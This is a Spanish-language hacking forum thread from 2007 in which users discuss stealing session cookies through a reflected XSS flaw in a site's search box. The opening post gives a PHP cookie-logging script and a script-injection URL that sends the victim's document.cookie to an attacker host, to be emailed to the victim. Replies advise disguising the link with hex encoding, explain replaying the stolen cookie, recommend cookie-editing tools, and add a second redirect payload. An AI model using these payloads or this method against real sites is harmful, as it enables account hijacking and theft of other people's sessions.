XSS ---falsificando sesiones

Iniciado por keype, 7 Mayo 2007, 19:09 PM

0 Miembros y 1 Visitante están viendo este tema.

keype

Robo de cookie de sesion del sitio vulnerable.com, sitio en el que yo ya soy usuario registrado y también lo es la victima...

-Primero encontramos una caja de Buscaqueda vulnerable.
-A continuacion vamos a crear una pagina en php, este archivo creará otro (archivo.txt)  que nos mandará la cookie victima, el archivo a crear es robo.php, con este codigo:

<?
$cookie = $_GET['cookie'];
$fff = fopen("archivo.txt","a");
fwrite($fff, "$cookie \n");
fclose($fff);
?>

-Luego crear la url que al ser clikeada mandará la cookie victima a nuestro archivo.txt

http://www.vulnerable.com/buscador.php?palabra=<script>window.location='http://www.atacante.com/robo.php?cookie='+document.cookie;</script>&buscar=;

le mandamos el link a su email, está lo recibira y al dar click nos apoderaremos de su cookie.
-Luego falsificar el valor de nuestra cookie por el valor que le robamos a la victima, y listo.

------------Aqui es donde tengo este monton de preguntas:
------------
1-Para que funcione el ataque: ¿la victima tien que estar logueada primero en vulnerable.com luego se va a revistar su email y ejecuta el link maligno, ó el ataque funcionaría de todos modos si la victima solo llega a conectarse y lo primero y único que hace es abrir su email y hacer click en el link maligno, sin estar logueada en su cuenta de vulnerable.com??

2-En el código del archivo robo.php (que guardara el valor de la cookie robada en un fichero) se debe utilizar la función $_GET['cookie'], pero otros usan la función $_REQUEST, no hay problema? es lo mismo, verdad?

3-Siguiendo en el código de robo.php  ¿de que manera mi server que soporta php debe tener configurado su php.ini, hay problema si su php.ini tiene configuradas las variables
globales asi: register_globals OFF? o en el codigo de robo.php no importa si las variables globales están en ON ó en OFF?

4-haciendo uso de un script que se coloca en la barra de direcciones del navegador puedo ver el contenido de mi cookie
"javascript:void(document.cookie=prompt("Modifica el valor de la cookie",document.cookie).split(";"));"

que es una cadena de caracteres sin sentido! Me imagino que en el archivo.txt donde se escribirá la cookie robada, será ésta cadena de caracteres parecida a la mia, no?, es asi?

4.1 En caso de que sean las cadenas similares, para evitar un ataque Man In The Middle,  ¿puedo copiar esa cadena (cookie) victima, luego escribir el script en mi barra de direcciones  para ver mi cookie actual de mi cuenta en vulnerable.com y luego borrar la cadena que constituye mi cookie  y pegar la cadena de caracteres que constituye la cookie de la victima, y al dar click a Aceptar,  estaré logueado como la victima?

4.2 Si es que funciona este reemplazo de cadenas, la mia actual por la que me llego al archivo cookies.txt (que es la cadena que constituye la cookie de la victima), primero debo estar  logueado en vulnerable.com como yo (atacante) y en la misma ventana hacer el cambio de cadenas cookies, y luego aceptar y listo? ya estaría hecha la falsificacion de sesion..?

5 En caso de lo que arriba no funcione como puedo hacer un ataque Man in the Middle que programa de facil uso puedo usar? Este ataque MITM con el objeto de interceptar y editar las cabeceras HTTP para el cambio de cookies.. (eso de cabeceras y mitm, no me queda claro)

6-Durante todo este proceso en que capturo la cookie victima, hasta el final del MITM, ¿la victima debe estar online logueada en su sesion de vulnerable.com?, pero si está logueada mientras yo me robo y uso su cookie, ¿vulnerable.com permitiría que el mismo usuario este logueado dos veces en el mismo momento? ¿O en que parte del proceso del ataque la victima debería desconectarse?, sí es que tiene que hacerlo.....  porque las cookies tienen
un tiempo en que expiran no? es decir si me robo la cookie de algun usuario, bueno pues,  esta no me va a servir de por vida, es decir que me servirá una hora? dos horas? un día?,
por lo que la victima tiene que activarme su cookie durante un tiempito para que cuando me la robe, y la use, no haya expirado, no??

Saludos y de antemano gracias por las respuestas...

T.R.U.A

Tienes muchas preguntas, parece examen  :xD
:)

Hans el Topo

#2
Antes de nada deberías cifrar en hexadecimal la url que pretendes usar para el lameo

Cita de: keype en  7 Mayo 2007, 19:09 PM
------------Aqui es donde tengo este monton de preguntas:
------------
1-Para que funcione el ataque: ¿la victima tien que estar logueada primero en vulnerable.com luego se va a revistar su email y ejecuta el link maligno, ó el ataque funcionaría de todos modos si la victima solo llega a conectarse y lo primero y único que hace es abrir su email y hacer click en el link maligno, sin estar logueada en su cuenta de vulnerable.com??
si las cookies no han expirado son robables

Citar2-En el código del archivo robo.php (que guardara el valor de la cookie robada en un fichero) se debe utilizar la función $_GET['cookie'], pero otros usan la función $_REQUEST, no hay problema? es lo mismo, verdad?

yo siempre utilicé get

Citar3-Siguiendo en el código de robo.php  ¿de que manera mi server que soporta php debe tener configurado su php.ini, hay problema si su php.ini tiene configuradas las variables
globales asi: register_globals OFF? o en el codigo de robo.php no importa si las variables globales están en ON ó en OFF?

no importa

Citar4-haciendo uso de un script que se coloca en la barra de direcciones del navegador puedo ver el contenido de mi cookie
"javascript:void(document.cookie=prompt("Modifica el valor de la cookie",document.cookie).split(";"));"

que es una cadena de caracteres sin sentido! Me imagino que en el archivo.txt donde se escribirá la cookie robada, será ésta cadena de caracteres parecida a la mia, no?, es asi?

seguramente son los datos cifrados en md5 u otro algoritmo de cifrado

Citar4.1 En caso de que sean las cadenas similares, para evitar un ataque Man In The Middle,  ¿puedo copiar esa cadena (cookie) victima, luego escribir el script en mi barra de direcciones  para ver mi cookie actual de mi cuenta en vulnerable.com y luego borrar la cadena que constituye mi cookie  y pegar la cadena de caracteres que constituye la cookie de la victima, y al dar click a Aceptar,  estaré logueado como la victima?
4.2 Si es que funciona este reemplazo de cadenas, la mia actual por la que me llego al archivo cookies.txt (que es la cadena que constituye la cookie de la victima), primero debo estar  logueado en vulnerable.com como yo (atacante) y en la misma ventana hacer el cambio de cadenas cookies, y luego aceptar y listo? ya estaría hecha la falsificacion de sesion..?

depende de las comprobaciones que haga el servidor, pero seguramente te funcione, necesitas tener creadas las cookies del sitio y asignarle los valores que has obtenido, o bien desencriptarlos y conectarte con ellos xD

Citar5 En caso de lo que arriba no funcione como puedo hacer un ataque Man in the Middle que programa de facil uso puedo usar? Este ataque MITM con el objeto de interceptar y editar las cabeceras HTTP para el cambio de cookies.. (eso de cabeceras y mitm, no me queda claro)

desde el firefox herramientas/opciones/privacidad/mostrar cookies


Citar6-Durante todo este proceso en que capturo la cookie victima, hasta el final del MITM, ¿la victima debe estar online logueada en su sesion de vulnerable.com?, pero si está logueada mientras yo me robo y uso su cookie, ¿vulnerable.com permitiría que el mismo usuario este logueado dos veces en el mismo momento? ¿O en que parte del proceso del ataque la victima debería desconectarse?, sí es que tiene que hacerlo.....  porque las cookies tienen
un tiempo en que expiran no? es decir si me robo la cookie de algun usuario, bueno pues,  esta no me va a servir de por vida, es decir que me servirá una hora? dos horas? un día?,
por lo que la victima tiene que activarme su cookie durante un tiempito para que cuando me la robe, y la use, no haya expirado, no??

depende del servidor, pero seguramente no haga falta que la victima se deslogee


P.D te respondo por haberme acosado por msn xD
 

T.R.U.A

Cita de: Hans el Topo en  7 Mayo 2007, 19:55 PM
seguramente son los datos cifrados en md5 u otro algoritmo de cifrado

Base64  ::)
:)

keype

#4
Citardesde el firefox herramientas/opciones/privacidad/mostrar cookies

Esto es man in the middle?????

Ademas eso en realidad no MODIFICA las cookies sino que lo que hace es permitir BORRARLAS.

Debo usar un editor de cookies, que programa me recomiendas?, pero si ya entendiste mi problema?, el meollo del asunto es que en un archivo.txt voy a recibir la cadena cifrada de la cookie-victima, luego yo logueado con mi cookie NECESITO borrar mi cadena de caracteres cifrada por la cadena de caracteres cifrada de la VICTIMA, para hacerme pasar por ella, claro todo antes de que expire el tiempo de sesion de cookie-victima...

yeikos

Te recomiendo IECookiesView o Proxomitron, buscalos en google.



Aprovecho este hilo activo, dirigido a las mentes más despiertas, para resolver una duda.

Mi intención no es exactamente falsificar la sesión, si no rovarla a traves de $HTTP_REFERER, y la cosa funciona, solo que el usuario tiene que pasar el puntero del ratón por encima del hipervínculo para que se ejecute el código javascript. Lo que quisiera es que el código javascript se ejecutase nada más cargar la página, tipo onLoad.

Para mi se ha convertido en un reto, aunque ya lo doy por perdido, a ver como lo ven ustedes...

Caracteres prohividos: < &

<a href="url"><img src="img" border="0" alt="alt"></a>

<a href="url" onMouseMove="javascript:location.href=http://stealsession"><img src="img" border="0" alt="alt"></a>

keype

Quizas lo que necesites es interceptar las cabeceras http, desde ahi puedes manipular el Referer, sin problemas....

yeikos

Cita de: keype en 12 Mayo 2007, 20:16 PM
Quizas lo que necesites es interceptar las cabeceras http, desde ahi puedes manipular el Referer, sin problemas....

Quizás entendiste mal, no pretendo manipular mi referencia, si no capturarla, redireccionando como sea a la víctima, desde la página vulnerable a mi servidor.